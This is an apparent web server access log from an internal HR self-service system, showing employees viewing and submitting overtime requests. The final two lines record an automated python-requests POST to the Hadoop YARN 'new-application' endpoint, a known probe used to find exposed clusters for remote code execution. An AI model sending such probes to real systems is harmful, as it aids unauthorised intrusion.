192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.104 - - [05/Sep/2025:08:48:52 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.104 - - [05/Sep/2025:08:48:52 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.11.136 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.104 - - [05/Sep/2025:08:48:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.104 - - [05/Sep/2025:08:48:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:53 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658
192.168.11.104 - - [05/Sep/2025:08:48:53 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457
192.168.11.104 - - [05/Sep/2025:08:48:55 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.104 - - [05/Sep/2025:08:48:55 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.104 - - [05/Sep/2025:08:49:00 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:00 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
192.168.11.136 - - [05/Sep/2025:08:48:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22384 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:48:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22384
192.168.11.136 - - [05/Sep/2025:08:49:00 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:49:00 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
192.168.11.104 - - [05/Sep/2025:08:48:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 164807
192.168.11.104 - - [05/Sep/2025:08:48:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 164807 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.136 - - [05/Sep/2025:08:49:00 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:49:00 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230
192.168.11.136 - - [05/Sep/2025:08:49:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:49:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.11.136 - - [05/Sep/2025:08:49:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:49:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.104 - - [05/Sep/2025:08:49:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800
192.168.11.104 - - [05/Sep/2025:08:49:15 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:15 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630
192.168.11.104 - - [05/Sep/2025:08:49:15 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568
192.168.11.104 - - [05/Sep/2025:08:49:15 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.104 - - [05/Sep/2025:08:49:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.104 - - [05/Sep/2025:08:49:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.104 - - [05/Sep/2025:08:49:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.104 - - [05/Sep/2025:08:49:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29
192.168.11.104 - - [05/Sep/2025:08:49:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.104 - - [05/Sep/2025:08:49:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 302 -
192.168.11.104 - - [05/Sep/2025:08:49:29 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.11.104 - - [05/Sep/2025:08:49:29 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:29 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:29 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084
192.168.11.136 - - [05/Sep/2025:08:49:31 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8593421678634748 HTTP/1.1" 200 8900 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:49:31 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8593421678634748 HTTP/1.1" 200 8900
192.168.11.104 - - [05/Sep/2025:08:49:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800
192.168.11.104 - - [05/Sep/2025:08:49:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.104 - - [05/Sep/2025:08:49:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.136 - - [05/Sep/2025:08:49:38 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8593421678634748 HTTP/1.1" 200 24844 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8593421678634748" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:49:38 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8593421678634748 HTTP/1.1" 200 24844
192.168.11.104 - - [05/Sep/2025:08:49:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.104 - - [05/Sep/2025:08:49:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 302 -
192.168.11.104 - - [05/Sep/2025:08:49:47 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.11.104 - - [05/Sep/2025:08:49:47 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800
192.168.11.104 - - [05/Sep/2025:08:49:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.104 - - [05/Sep/2025:08:49:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.104 - - [05/Sep/2025:08:49:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.104 - - [05/Sep/2025:08:49:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:49:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 302 -
192.168.11.104 - - [05/Sep/2025:08:50:00 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.11.104 - - [05/Sep/2025:08:50:00 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
100.64.0.1 - - [05/Sep/2025:08:50:01 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [05/Sep/2025:08:50:01 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.32.4"
